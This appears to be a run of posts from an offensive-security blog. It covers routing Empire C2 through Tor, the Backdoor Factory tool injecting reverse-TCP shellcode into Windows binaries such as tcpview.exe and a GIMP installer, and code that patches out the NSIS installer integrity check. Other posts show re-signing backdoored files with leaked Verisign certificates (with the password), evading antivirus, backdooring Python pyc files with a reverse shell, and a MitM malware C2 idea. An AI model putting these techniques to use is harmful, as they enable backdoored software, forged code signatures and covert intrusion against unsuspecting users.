Saturday, November 26, 2016

Use Tor. Use Empire.

Recently I used Empire at work on a phishing engagement because it supports macOS, Linux, and Windows hosts from one listener. You should try it out if you find yourself where you need Command and Control (C2) that is easy to use with many features.*

But that is not the topic of this post.

Many security experts say: "Use Tor. Use Signal." And I can agree on that to some extent.  However, ordering food over Tor is difficult when the waiter is looking at you in the face.  I guess context is everything. ¯\_(ツ)_/¯

I say "Use Tor. Use Empire." /snark

It's not difficult and using Empire through a hidden service solves some problems:
You don't need a server on the Internet -  put the C2 in a docker host locally or put it behind portal
Keep your C2 anonymous - only the Empire Listener is exposed
Doesn't require Tor to be installed on the host/target (tor2web)
Secure by default (more on this)

On the downside:
My Demo uses tor2web URLs - pretty easy to filter for a defender
Not using tor2web type redirectors requires Tor to be installed on the host and then proxied via the tor socks listener via netcat (Mac/*nix) - on windows it's a bit more difficult (netsh and bypass-filter all the things)
There have been attacks to de-anonymize tor hidden services (certain conditions apply).

Here's how to do it:
Install Tor on your server where you will be using Empire.
Update the torrc to support the hidden service with the following syntax: HiddenServicePort 80 127.0.01:<listener port>

Grab your hidden service hostname in the above directory:

Set up your listener. In the screenshot below I'm using as the domain.  It's typed correctly:  Note the /:<PORT> after the -that's the correct syntax. I set the DefaultDelay and Jitter at higher intervals because Tor can be slow at times.

Now grab the launcher to deploy in your VBA macro, Ebowla, or via manual means:

After deployment, you should see this shortly:

Notice in the config that I didn't use a cert to force HTTPS agent communications.  A couple reasons:

The Tor2Web site in this demo uses TLS 1.2 AES-256-GCM with ECDHE_RSA for key exchange.
Traffic from the Tor2Web URL redirector is encrypted via the normal tor encryption method all the way to the hidden service.
Using a cert to force https in my testing resulted in failure. ಠ_ಠ

Ok that's it, enjoy your shells responsibly!

* Metasploit would have worked also, just wanted to give Empire a shot.

Monday, June 20, 2016

BDF Preprocessor and Going Forward

I've been giving some thought over the past couple months where to take the Backdoor Factory (BDF).  And I've decided to do a couple things:
  • Make it easier to understand the internals
  • Make it more modular - drop-in scripts, patching methods, and payloads
  • Update it to python2/3 compatibility
These three things will allow for future portability within the python world and allow people to write their own plugins, patching methods, and extend functionality.  Yes I want to implement drop-in code injection/patching methods.  It will happen, I just need to re-write some of the core BDF code.

So starting with this post I'll be explaining the preprocessor addition, added in version 3.4.0, in a first attempt to extend functionality. Preprocessor scripts are just that - python code to do X. Whatever X is.  I've included a couple examples in this release, in the preprocessor directory, to help explain what you can do and there will be more examples in the future.  The main reason I came up with the preprocessor was that I was tired of modifying core BDF code to test an idea or concept.  With preprocessor you can write whatever you want without mucking up the main code... well unless you muck up the main code in your script. And that is correct, there are no safety checks in the script loader. If you want to write os.system('rf -rf /") in your script YOU CAN! So be careful running third party preprocessor scripts.

Preprocessor Rules:
  • The preprocessor functionality is enabled by the "-p" flag in BDF.
  • They run in alphabetical order.
  • Your script must be in the preprocessor directory.
  • One tempfile is created for all preprocessor scripts and is passed from one script to the next before being passed to BDF for payload injection. The modifications to the tempfile, before payload injection, can be saved for inspection and troubleshooting.
How to write your own preprocessor script? I've included a blank template in preprocessor:

Just copy that script to a new one. Afterwards open the file for editing.

You'll notice the settings section with four options:
  • enabled (True or False)- If you want this preprocessor script executed when the preprocessor is invoked
  • keep_temp (True or False) - This saves the tempfile as it is before payload injection
  • recheck_support (True or False) - This pushes the tempfile through the support check function to ensure changes, if any, did not break patching candidacy. 
  • file_format (PE, ELF, Macho, or ALL)- This sets what file format your script applies to. 
After that you have the preprocessor script itself:

class preprocessor:

    def __init__(self, BDF):
        # REQUIRED
        self.BDF = BDF
        # if you want to return a result set it to True
        #  and check for failures
        self.result = True

    def run(self):
        # call your program main here

        # return a result here, if you want
        return self.result

    def hello(self):
            # add a tab for readability
            print '\t[*] Default Template test complete'

        #  Of course this doesn't fail
        except Exception, e:
            print "Why fail?", str(e)
            self.result = False

    As mentioned earlier you can invoke the preprocessor with the '-p' flag as so:

./ -f tcpview.exe -p -q
Backdoor Factory
         Author:    Joshua Pitts
         Email:     the.midnite.runr[-at ]gmail<d o-t>com
         Twitter:   @midnite_runr
         IRC: #BDFactory
         Version:   3.4.0
[*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Executing preprocessor: template
[*] Running preprocessor template against ALL formats
[*] Creating temp file: /var/folders/ks/mqxq74qd1qq9y02lq6rjz4g80000gp/T/tmpqEeYSw
[*] Default Template test complete
The following WinIntelPE32s are available: (use -s)

The '-q' flag is to silence the ascii banner.

You'll notice that BDF is asking your for a shellcode to use, that's normal, but if you wanted to just see what your preprocessor is doing, you do not have to set an entire command string as the results would  be longer like so:

./ -f tcpview.exe -s iat_reverse_tcp_inline -P 8080 -H -m automatic -p -q
Backdoor Factory
         Author:    Joshua Pitts
         Email:     the.midnite.runr[-at ]gmail<d o-t>com
         Twitter:   @midnite_runr
         IRC: #BDFactory
         Version:   3.4.0
[*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Executing preprocessor: template
[*] Running preprocessor template against ALL formats
[*] Creating temp file: /var/folders/ks/mqxq74qd1qq9y02lq6rjz4g80000gp/T/tmpZsJogJ
[*] Default Template test complete
[*] Gathering file info
[*] Overwriting certificate table pointer
[*] Loading PE in pefile
[*] Parsing data directories
[*] Looking for and setting selected shellcode
[*] Creating win32 resume execution stub
[*] Looking for caves that will fit the minimum shellcode length of 87
[*] All caves lengths:  145, 162, 87
[*] Attempting PE File Automatic Patching
[!] Selected: 53: Section Name: .data; Cave begin: 0x45149 End: 0x451ef; Cave Size: 166; Payload Size: 162
[!] Selected: 45: Section Name: .rdata; Cave begin: 0x3fba0 End: 0x3fc46; Cave Size: 166; Payload Size: 145
[!] Selected: 39: Section Name: .data; Cave begin: 0x44d5e End: 0x44df3; Cave Size: 149; Payload Size: 87
[*] Changing flags for section: .rdata
[*] Changing flags for section: .data
[*] Patching initial entry instructions
[*] Creating win32 resume execution stub
[*] Looking for and setting selected shellcode
File tcpview.exe is in the 'backdoored' directory

For those that are not familiar with the flags:
  • -P -- Port
  • -H -- Host
  • -m -- Mode: automatic, replace, onionduke
  • -s -- shellcode
  • -p -- preprocessor
  • -q -- quiet the ascii banner
  • -f -- file to patch
To see all options, just do ./ -h

OK, we see our template preprocessor is working fine, all it does is just print :

[*] Executing preprocessor: template
[*] Running preprocessor template against ALL formats
[*] Creating temp file: /var/folders/ks/mqxq74qd1qq9y02lq6rjz4g80000gp/T/tmpZsJogJ
[*] Default Template test complete

Now let's go for a more complex example:

Nullsoft Scriptable Install System (NSIS) v3.0 CRC32 Bypass

NSIS is a windows installer, mainly used by sourceforge binaries, that has self checking mechanisms to ensure integrity before installing.  If the binary is modified within certain ranges you will receive an error like so.

Since there is no cryptography involved it pretty easy to bypass. And there are two ways to do it.

1. Find the CRC32 test/cmp then conditional jump in ASM and patch it out.
2. Or, find the CRC32 location and update it.

For demoing the preprocessor, I'll just do the first one.

Here is what the script looks like:

#!/usr/bin/env python

# settings
# Complete these as you need

# ENABLE preprocessor
enabled = True

# If you want the temp file used in the preprocessor saved
# THE NAME is self.tmp_file
keep_temp = False

# check if file is modified beyond patching support
recheck_support = True

# file format that this is for (PE, ELF, MACHO, or ALL)
# if not specified the processor will run against all
file_format = "PE"


# add your imports here
import re

class preprocessor:

    def __init__(self, BDF):

        # REQUIRED
        self.BDF = BDF

        # Place holder for whether tested binary is a NSIS binary
        self.nsis_binary = False

    def run(self):
        # call your program main here

    def nsis30(self):
        print '\tNSIS 3.0 CRC32 Check | Patch Out Preprocessor'
        with open(, 'r+b') as self.f:
            if self.nsis_binary is True:
                print "\t[*] NSIS 3.0 Binary loaded"
                print "\t[*] NSIS 3.0 Binary NOT loaded"

    def check_NSIS(self):
        check_one = False
        check_two = False
        check_three = False

        filecontents =
        # Three quick checks common in NSIS binaries
        if 'NSIS Error'in filecontents:
            check_one = True

        if 'Installer integrity check has failed.' in filecontents:
            check_two = True

        if '' in filecontents:
            check_three = True
        # All three checks must pass
        if check_one is True and check_two is True and check_three is True:
            self.nsis_binary = True

    def patch_crc32_check(self):
       # This binary string is fairly unique
        p = re.compile("\x3B\x45\x08\x0F\x85\x9C\x00\x00\x00")
        locations = []
        match_loc = 0
        for m in p.finditer(

        if len(locations) > 1:
            # Really this if statement is the same either way, just to let you know there is more
            #   than one match
            print "\t[*] More than one binary match, picking first"
            match_loc = locations[0]
            match_loc = locations[0]

        print "\t[*] Patch location", hex(match_loc) + 4)
        #change \x85 to \x84

So what is going on with this script?  All I am doing is verifying that the binary is a NSIS binary by checking that three strings exist in the binary and then flipping a bit to set the CRC32 compare result check from jnz (jump if not zero) to jz (jump if zero). So when we change the contents of the file, it will not be zero, there is no error message during execution, and no program exit.

Again a better situation will be to find the CRC32 value location, verify that the CRC32 value is actually correct - properly verifying that you are in a NSIS protected binary. Then patching the binary and changing CRC32 to match that of the modified binary.  But, I've only written a preprocessor (before patching) and not a post-processor yet. :)

One thing to note is you should work on the temp file that was created for the preprocessor module. Access it with normal file operations via "with open(, 'r+b') as self.f:" etc...
You can also access the PE information with self.BDF.flItms, it is a python dict and should be fairly easy to understand for those familiar with PE files. flItms is short for File Items. For the macho and elf files, it is in self.BDF namespace, there is no 'flItms' object as the ELF/Macho formats are fairly easy to manipulate.

Anyway, this is how it looks when executing against an NSIS 3.0 binary with the NSIS preprocessor enabled:

$ ./ -f GIMP_Extensions_v2.8.20150403.exe -s iat_reverse_tcp_inline -P 8080 -H -m automatic -p -q
Backdoor Factory
         Author:    Joshua Pitts
         Email:     the.midnite.runr[-at ]gmail<d o-t>com
         Twitter:   @midnite_runr
         IRC: #BDFactory

         Version:   3.4.0

[*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Executing preprocessor: nsis_3_0
[*] Running preprocessor nsis_3_0 against PE formats
[*] Creating temp file: /var/folders/p8/l6qk3qcd69z234tpmylk8xhw0000gn/T/tmpaIO1Q4
NSIS 3.0 CRC32 Check | Patch Out Preprocessor
[*] NSIS 3.0 Binary loaded
[*] Patch location 0x2224
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Loading PE in pefile
[*] Parsing data directories
[*] Looking for and setting selected shellcode
[*] Creating win32 resume execution stub
[*] Looking for caves that will fit the minimum shellcode length of 42
[*] All caves lengths:  145, 162, 42
[*] Attempting PE File Automatic Patching
[!] Selected: 2133: Section Name: .rsrc; Cave begin: 0x2bbcf End: 0x2bc75; Cave Size: 166; Payload Size: 162
[!] Selected: 1990: Section Name: .rsrc; Cave begin: 0x164af End: 0x16555; Cave Size: 166; Payload Size: 145
[!] Selected: 1998: Section Name: .rsrc; Cave begin: 0x169ff End: 0x16aa5; Cave Size: 166; Payload Size: 42
[*] Changing flags for section: .rsrc
[*] Patching initial entry instructions
[*] Creating win32 resume execution stub
[*] Looking for and setting selected shellcode
[*] Saving TempFile to: tmpauO1Q4_GIMP_Extensions_v2.8.20150403.exe
File GIMP_Extensions_v2.8.20150403.exe is in the 'backdoored' directory

You'll see here that the TempFile is saved and will be in the directory where you executed BDF from.  However, because no modifications were made to the part of the binary where the CRC is checked, you'll receive an error message if you attempt to execute the temp binary unmodified (pre-patched state). Note: this might fail on non 3.0 NSIS binaries.

I also added the debug preprocessor, it is enabled by default. When reporting any issues with BDF I recommend including the output in the issue report.

Example output:

./ -f GIMP_Extensions_v2.8.20150403.exe -q -p
Backdoor Factory
         Author:    Joshua Pitts
         Email:     the.midnite.runr[-at ]gmail<d o-t>com
         Twitter:   @midnite_runr
         IRC: #BDFactory

         Version:   3.4.0

[*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Executing preprocessor: debug
[*] Running preprocessor debug against ALL formats
[*] Creating temp file: /var/folders/p8/l6qk3qcd69z234tpmylk8xhw0000gn/T/tmpVrZAv_
************************* DEBUG INFO *************************
XP_MODE : False
SUFFIX : .old
iat_cave_loc : 0
FILE : GIMP_Extensions_v2.8.20150403.exe
keep_temp : False
PORT : None
ORIGINAL_FILE : GIMP_Extensions_v2.8.20150403.exe
SHELL : show
NSECTION : sdata
binary : <closed file 'GIMP_Extensions_v2.8.20150403.exe', mode 'r+b' at 0x103428390>
HOST : None
tmp_file : <open file '<fdopen>', mode 'w+b' at 0x1034285d0>
OUTPUT : backdoored/GIMP_Extensions_v2.8.20150403.exe
************************* BEGIN flItms *************************
AddressOfEntryPoint: 0x323c
Architecture: 0x0
BaseOfCode: 0x1000
BaseOfData: 0x7000
BaseReLocationTable: 0x0
BeginSections: 0x1d0
BoundImport: 0x0
BoundImportLOCinCode: 0x0
BoundImportLocation: 0x1a8
BoundImportSize: 0x0
CLRRuntimeHeader: 0x0
COFF_Start: 0xdc
CertLOC: 0x0
CertSize: 0x0
CertTableLOC: 0x170
Characteristics: 0x10f
CheckSum: 0x0
Debug: 0x0
DelayImportDesc: 0x0
DllCharacteristics: 0x8000
ExceptionTable: 0x0
ExportTableRVA: 0x0
ExportTableSize: 0x0
FileAlignment: 0x200
GlobalPrt: 0x0
IAT: 0x28c00007000
ImageBase: 0x400000
ImpList: [[4207164, 'sub', 'esp, 0x180', 4207170, bytearray(b'\x81\xec\x80\x01\x00\x00'), 6]]
ImportTableLOCInPEOptHdrs: 0x158
ImportTableRVA: 0x73a4
ImportTableSize: 0xb4
JMPtoCodeAddress: 0x0
LoadConfigTablePresent: False
LoadConfigTableRVA: 0x0
LoadConfigTableSize: 0x0
LoaderFlags: 0x0
LocOfEntryinCode: 0x263c
LocOfEntryinCode_Offset: 0x0
MachineType: 0x14c
Magic: 0x10b
MajorImageVersion: 0x6
MajorLinkerVersion: 0x6
MajorOperatingSystemVersion: 0x4
MajorSubsystemVersion: 0x4
MinorImageVersion: 0x0
MinorLinkerVersion: 0x0
MinorOperatingSystemVersion: 0x0
MinorSubsystemVersion: 0x0
NewIATLoc: 0x28
NumberOfSections: 0x5
NumberofRvaAndSizes: 0x10
OptionalHeader_start: 0xf0
PatchLocation: 0x323c
Reserved: 0x0
ResourceTable: 0x29be80003a000
SectionAlignment: 0x1000
Section Name .text
Virtual Size 0x5a5a
Virtual Address 0x1000
SizeOfRawData 0x5c00
PointerToRawData 0x400
PointerToRelocations 0x0
PointerToLinenumbers 0x0
NumberOfRelocations 0x0
NumberOfLinenumbers 0x0
SectionFlags 0x60000020
Section Name .rdata
Virtual Size 0x1190
Virtual Address 0x7000
SizeOfRawData 0x1200
PointerToRawData 0x6000
PointerToRelocations 0x0
PointerToLinenumbers 0x0
NumberOfRelocations 0x0
NumberOfLinenumbers 0x0
SectionFlags 0x40000040
Section Name .data
Virtual Size 0x1af98
Virtual Address 0x9000
SizeOfRawData 0x400
PointerToRawData 0x7200
PointerToRelocations 0x0
PointerToLinenumbers 0x0
NumberOfRelocations 0x0
NumberOfLinenumbers 0x0
SectionFlags 0xc0000040
Section Name .ndata
Virtual Size 0x16000
Virtual Address 0x24000
SizeOfRawData 0x0
PointerToRawData 0x0
PointerToRelocations 0x0
PointerToLinenumbers 0x0
NumberOfRelocations 0x0
NumberOfLinenumbers 0x0
SectionFlags 0xc0000080
Section Name .rsrc
Virtual Size 0x29be8
Virtual Address 0x3a000
SizeOfRawData 0x29c00
PointerToRawData 0x7600
PointerToRelocations 0x0
PointerToLinenumbers 0x0
NumberOfRelocations 0x0
NumberOfLinenumbers 0x0
SectionFlags 0x40000040
SizeOfCode: 0x5c00
SizeOfHeaders: 0x400
SizeOfHeapCommit: 0x1000
SizeOfHeapReserve: 0x100000
SizeOfImage: 0x64000
SizeOfImageLoc: 0x128
SizeOfInitializedData: 0x1d400
SizeOfOptionalHeader: 0xe0
SizeOfStackCommit: 0x1000
SizeOfStackReserve: 0x100000
SizeOfUninitializedData: 0x400
Subsystem: 0x2
TLS Table: 0x0
TimeDateStamp: 0x4b1ae3c6
VirtualAddress: 0x64000
VrtStrtngPnt: 0x40323c
Win32VersionValue: 0x0
buffer: 0x0
count_bytes: 0x6
curdir: /Users/squirrel/the-backdoor-factory
dis_frm_pehdrs_sectble: 0xf8
filename: GIMP_Extensions_v2.8.20150403.exe
pe_header_location: 0xd8
rsrcPointerToRawData: 0x7600
rsrcSectionName: .rsrc
rsrcSizeRawData: 0x29c00
rsrcVirtualAddress: 0x3a000
rsrcVirtualSize: 0x29be8
supported: True
textPointerToRawData: 0x400
textSectionName: .text
textSizeRawData: 0x5c00
textVirtualAddress: 0x1000
textVirtualSize: 0x5a5a
************************* END flItms *************************
************************* END DEBUG INFO *************************
The following WinIntelPE32s are available: (use -s)

Wednesday, May 11, 2016

A Glance at Cylance

- Personal thoughts here, employer not represented.
- I don't like AVs. The risk to performance and security doesn't make sense to me.

I've worked at places where AV was required and the security team was tasked to help SysAdmins tune (troubleshoot) AV so that the zip file created and transferred from employee to another employee did not cause an absolute system DoS (looks over at McAfee). And as most pentesters, I've been bypassing AVs for years.

I've heard a lot of hype around Cylance and it's AI algorithm and machine learning. And I've been wanting to test it out from an AppSec POV and if I could bypass it using my open source tools. One cannot simply download a demo of Cylance and do testing as a household consumer.  It is available only to enterprises and I believe Bluecoat has adopted it as a inline scanner.

The hype follows me on vacation
Via IRC, in #BDFactory on freenode, Sizzop mentioned that Cylance was doing a tour where you could bring in your own malware for testing.  I thought why not. It was (still going as of posting) called their Unbelievable Tour and they had one close to me in DC.  So I signed up.

The night before I set up a blind test using binaries from and a command and control server on the public internet to catch call backs.

I downloaded the first level of tools in the directory and set up four folders on a USB drive:
  • Set 1: Just Sysinternals Tools with no modifications - approximately 100 binaries.
  • Set 2: Sysinternals again, though four were patched via BDF, added an Ebowla golang compiled binary with Pupy as payload set to work in May 2016 (it was still April 2016), a Veil python compiled binary, a sandbox finger-printer (python pyinstaller compiled binary), a backdoored macho binary, nothing modified or custom was signed.
  • Set 3: Sysinternals with four BDF patched binaries (signed with an expired cert), an Ebowla golang compiled binary with Pupy as a payload set to execute in April 2016 only (it was April 28th).
  • Set 4: Various malformed PE file formats known (to me) to cause issues in PE file parsers.
With my USB drive burning a hole in my pocket, I arrived at the demo location - Morton's in DC (swanky).  Everyone from Cylance was friendly. The demo was presented with lunch.

Cylance sales engineers talked about how they use AI to determine what is bad and that they have done away with dat files. The agent and all supporting files were a total of ~60 MB.  Then, Cylance pitted itself against Symantec in a demo; they took about 100 known malicious samples, ran them through VMprotect and dropped all the pre and post VMprotect samples on two Windows 7 virtual machines (VMs) - one with Cylance and one with Symantec.

Cylance detected everything. I expected as much as they are running the demo. Symantec detected nothing (at all) and the VM became non-functional. 

My initial impressions:
  • The Cylance agent was really fast.
  • There seemed no impact on performance of the Cylance VM.
  • I was impressed and worried about my tests. After all BDF has been open source for three years.
After the sales presentation and demo, they offered to run malware from the audience. There were two of us that had samples for testing.

I went first and the results were as follows:
  • Set 1: Some of the Sysinternals tools were flagged. Psexec for example and I think a couple more.  I did not have control of the computer to determine which exactly. One thing when deploying an AV is a false positive rate.  Cylance is not immune to this.
  • Set 2: The Veil payload was caught and quarantined prior to execution. One BDF payload was caught and quarantined prior to execution - it used a payload straight from metasploit. Nothing else was flagged.  On physical execution, the remaining binaries connected to my command and control server.
  • Set 3: One BDF sample was flagged and quarantined.  Interestingly it was a sample that I did not want caught, however, I picked the patching method myself - the code cave selection. All the BDF auto generated samples with my IAT based payloads were not flagged. Remember these samples had bad certificates. Nothing else was flagged. On physical execution, the remaining binaries connected to my command and control server.  Cylance does not scan cross platform executables so my macho (OS X) backdoored binary was not scanned.
  • The sales engineer fired up a GUI control panel to scan the malformed exes.  Not all of them were recognized as valid PE files (expected) and I did not see any crashes. Though the sample size was small < 20 items.

  • Veil 1/1 detected
  • BDF binaries that should have been detected (metasploit shellcode): 1/1
  • BDF binaries I did not want detected: 1/7
  • Ebowla: 0/2 detected
  • Pyinstaller sandbox enumerator: 0/1 detected (does nothing bad really)

The other group had a javascript encoded (.jse) file. Cylance has a script blocker of sorts that stopped execution of the file.  I believe this works against powershell scripts also, but I was not prepared to test it.

My thoughts after testing:
  • It was really fast. I can't say this enough.
  • With all the AI processing on the backend to make the rules for the deployed agent, the Cylance agent still has to make a determination on what is good/bad.  Everything still comes down to a single if statement - let this run or don't.
  • It's still an AV. It has a kernel driver to hook binary execution. This adds an attack footprint just like any other AV. However, because it doesn't work with dat files, I think that the attack footprint is potentially smaller than other AVs.  The agent still has to worry about file format parsing.  I would like to do an appsec style analysis of the entire deployed platform.
  • Updates.  They were stating that Cylance only updates once or twice a year as a positive. I'd imagine that they will flag BDF output in the next update. However, if there is a major outbreak of a specific type of infection that the agent does not believe is bad now, how will the agent determine if it is bad in the future? If updating the agent entirely is the only way to add new detection algorithms, then I see more frequent updates and perhaps agent bloat. 
  • No comparisons against F-Secure or Kaspersky?  I think Cylance's main target for competition is the US market - where McAfee and Symantec have dominance.
If your organization is in an industry where AV is required for compliance reasons AND it has to be from the US (you are stuck with McAfee or Symantec), I would give Cylance a demo and compare it to what you have now.

FULL DISCLOSURE: I won a gift card for bypassing cylance.

Wednesday, December 16, 2015

Add PE Code Signing to Backdoor Factory (BDF)

Let's say you want to add PE codesiging to your instance of BDF after you patch PE files.  It's really easy. But to be honest, it's something I will not officially support in BDF for various reasons at the moment. One of them - I don't want to ship signing certs with BDF.  Perhaps I'll release a pro version where I implement everything or I'll teach a class and include stuff like this. Or I'll just tell you below.

Why would you want code signing in BDF?

Internet browsers, like IE/edge, give a pass if the binary is signed (A/V is a another story).  So if a signed binary is delivered via http, MITM'ed, unsigned, patched, the re-signed with a valid cert - a browser like IE should be ok with it. Since BDF is part of BDFProxy, then even better right?

Cool, ready to add code signing to BDF?

First things first, you need some signing certs.

The kind folks at Duo Security did some great research, read it here.

Grab the certs here.

Now BDF runs great on *nix/OSX, so we need something that does PE code signing on linux.

Grab ossligncode as so:

$ git clone git:// osslsigncode

To build:

$ ./
$ ./configure
$ make
$ sudo make install

Next we need the signing certs and we need to put them in the BDF directory.

Navigate to your BDF home directory.

the-backdoor-factory git:(master) $
$ curl -O
$ mkdir certs
$ unzip -d certs

$ tree certs
├── Verisign.pass
├── Verisign.pfx
├── __MACOSX
├── eDellRoot.cer
└── eDellRootLocalhost.cer

Let's use the verisign cert.

We'll need to convert the pfx format to cer/pem as that is what osslsigncode prefers.

$ openssl pkcs12 -in certs/Verisign.pfx -out certs/Verisign.cer -nodes
Enter Import Password: t-span


Now we need to make a private key.

$ openssl pkcs12 -in certs/Verisign.pfx -nocerts -out certs/VerisignPrivateKey.pem      
Enter Import Password: t-span
MAC verified OK
Enter PEM pass phrase: moomoo
Verifying - Enter PEM pass phrase: moomoo

Let's test everything out:

$ curl -O  # yay http

$ osslsigncode extract-signature -in tcpview.exe -out sig.txt

$ hexdump -C sig.txt

And you should see something like this:
Clearly from Microsoft!

Test run:

$ osslsigncode -certs certs/Verisign.cer -key certs/VerisignPrivateKey.pem -n "Securitay" -in tcpview.exe -out tcpview_signed.exe -pass moomoo

$ osslsigncode extract-signature -in tcpview_signed.exe -out sig.txt

$ hexdump -C sig1.txt

And you should see something like this:
Clearly not from Microsoft!

And if you upload to VirusTotal you'll see the signature is fully signed in the 'Signers' section and not by MS:

Your certs directory should now look as so:
$ tree certs
├── Verisign.cer
├── Verisign.pass
├── Verisign.pfx
├── VerisignPrivateKey.pem
├── __MACOSX
├── eDellRoot.cer
└── eDellRootLocalhost.cer

Time to modify BDF source code!!

Open in your favorite editor.

Navigate to the bottom of the "def patch_pe(self):" function.

Near the bottom of that function we will modify...

...with the following code...

if self.ZERO_CERT is True:
            # cert was removed earlier 
            p = subprocess.Popen(['osslsigncode', '-certs', 'certs/Verisign.cer', '-key', \
                                  'certs/VerisignPrivateKey.pem', '-n', 'Security','-in', \
                                   self.flItms["backdoorfile"], '-out', self.flItms["backdoorfile"], '-pass', 'moomoo'])


... so it looks like this afterwards:

After this mod to BDF you should see the following after running a similar command:

./ -f tcpview.exe -s iat_reverse_tcp_inline -H -P 8080 -m automatic
__________                __       .___                   
\______   \_____    ____ |  | __ __| _/____   ___________ 
 |    |  _/\__  \ _/ ___\|  |/ // __ |/  _ \ /  _ \_  __ \ 
 |    |   \ / __ \\  \___|    </ /_/ (  <_> |  <_> )  | \/
 |______  /(____  /\___  >__|_ \____ |\____/ \____/|__|   
        \/      \/     \/     \/    \/                    
___________              __                               
\_   _____/____    _____/  |_  ___________ ___.__.        
 |    __) \__  \ _/ ___\   __\/  _ \_  __ <   |  |        
 |     \   / __ \\  \___|  | (  <_> )  | \/\___  |        
 \___  /  (____  /\___  >__|  \____/|__|   / ____|        
     \/        \/     \/                   \/             

         Author:    Joshua Pitts
         Email:     the.midnite.runr[-at ]gmail<d o-t>com
         Twitter:   @midnite_runr
         IRC: #BDFactory
         Version:   3.2.4
[*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Gathering file info
[*] Overwriting certificate table pointer
[*] Loading PE in pefile
[*] Parsing data directories
[*] Looking for and setting selected shellcode
[*] Creating win32 resume execution stub
[*] Looking for caves that will fit the minimum shellcode length of 87
[*] All caves lengths:  145, 162, 87
[*] Attempting PE File Automatic Patching
[!] Selected: 50: Section Name: .data; Cave begin: 0x44cc5 End: 0x44d6b; Cave Size: 166; Payload Size: 162
[!] Selected: 32: Section Name: .text; Cave begin: 0x3a304 End: 0x3a399; Cave Size: 149; Payload Size: 145
[!] Selected: 45: Section Name: .rdata; Cave begin: 0x3fba0 End: 0x3fc46; Cave Size: 166; Payload Size: 87
[*] Changing flags for section: .rdata
[*] Changing flags for section: .text
[*] Changing flags for section: .data
[*] Patching initial entry instructions
[*] Creating win32 resume execution stub
[*] Looking for and setting selected shellcode
File tcpview.exe is in the 'backdoored' directory

Note the 'Succeeded'.

As expected, here's the result with a valid signature from Atheros:

This can be done with any PE code signing cert that is released leaked to the public.  Get creative! If you think this should be part of BDF, let me know on twitter or github.


Monday, November 9, 2015

Backdooring Python via PYC ( /ˈpiː/ - /ˈwaɪ/ - /ˈsiː/)

Hello Again.

It's been a while.

Believe it or not I have not been on a distance island selling 0days and stocks options.

While working on some python internals and source code review, I thought, how easy would it be to backdoor python after OS exploitation or some other form of access?

The answer is "really easy." But you want to stay hidden, not in plain sight, and within the constructs of what is already on disk.  This assumes you have root access and that the machine has python installed.

And it is all via the pyc file.  I'm not talking about patching python itself with BDF. That could be easier to catch.

Also before I forget, most of this blog post was written before I found the right google search term for prior research and work.  Here's what I found:

The prior work included in the Pytroj github repo includes pyc infection of bytecode, that infects other pyc bytecode in the loaded program, for python27.


As most of you know, pyc files are python bytecode that is either created by importing the file into an interpreter, or another file, or by calling python -m compileall [path]..

... or py_compile...

When a python file is called and a pyc file is present for an existing py file, python will check the timestamp four bytes into the pyc file and if this timestamp equals the timestamp of the parent py file modified time, then it will not over write the pyc file.  That's it.  That's all the integrity checks for python27.  Python3.X adds a check to see that the size is correct. You can simply copy the size over from the old pyc file to your new pyc file. That's really the only time it is checked. To restore the child pyc file you need to either delete the pyc file or modify the parent. Running py_compile will not modify the child pyc as the timestamp will be the same as the parent.

Checking Modified Timestamps

The POC that I have is for python 2.7 and python3.X. And you can get it here

You may be asking yourself so what? Someone could just update the python code directly.

You are right. Here have a cookie.

However, when was the last time you decompiled your python bytecode because you thought it was modified from the original python file?

OK. How does it work?

I've selected ./Lib/utf_8.pyc as my code to patch in python2.7.  Why? Because when looking at the loading of python via python -v it's one of the later modules to load. And because of that, I can modify it with a payload, and most of the modules that I need are already available to use.

For python3.X, you are better off going with the

I made a simple payload from of a python shell (from trustedsec) and added multiprocessing to it so that python will execute after the shell has been spawned.

First, the parent file is copied to /tmp/ and the POC is appended to the end of the py file. Then it is py_compiled to pyc.  Next the timestamp and size (if 3.X) is modified to match the parent file.  Finally the pyc file is copied to the original location under the parent file, or in __pycache__ in python3.X.


Monday, March 23, 2015

Yet Another Reason for HTTPS Everywhere: Internet Node Based Malware Command and Control Channels

“The source of every crime, is some defect of the understanding; or some error in reasoning; or some sudden force of the passions. Defect in the understanding is ignorance; in reasoning, erroneous opinion.” 
― Thomas Hobbes, Leviathan


As most of us know, many of the web sites and services we depend on the Internet are unencrypted, including news, retail, sports, and entertainment. Each one of these sites and services unintentionally provide an avenue for a MitM command and control (C2) infrastructure. In this concept, it is the traffic route that is important and that it can be modified.  Sites could be selected based on the crossing of C2 nodes along geographic lines or routing choke points, which could also help with locating the general area of infected machines. In addition, these sites would be normal in terms of user traffic and would not stand out from an initial DNS based forensic inquiry.

The Concept

Disclaimer: I have no proof this idea is in use as stated in this post.  This is just a proposal of an idea.

A MitM malware Command and Control (C2) channel needs three things to exist:
1. Malware on an infected machine
2. That contacts servers via unencrypted or decrypt-able traffic
3. Which crosses a malicious node that could inspect and inject content into the traffic

Normal Traffic:

Malware Communicating with a Malicious Node:

The MitM malware C2 concept is incredibly simple, but generally difficult to implement, and would be even more difficult to find in use. For a realistic attack, an adversary would need to implement the C2 code within an already existing infrastructure, particularly at advantageous nodes on the Internet.  To solve this problem, let’s consider that a node being used for mass Internet surveillance is multipurpose. Besides traffic capture, the most obvious use is the modification of traffic to stop the flow of information that opposes the view of the political powers that be or for corporate interests. Next is the MitM modification of binaries and code during download. Intelligence leaks have presented systems in place that could re-route client traffic to a server for end point exploitation. Finally I propose the possible implementation of a MitM malware C2 channel.

For an example, let us consider using HTTP for the channel.

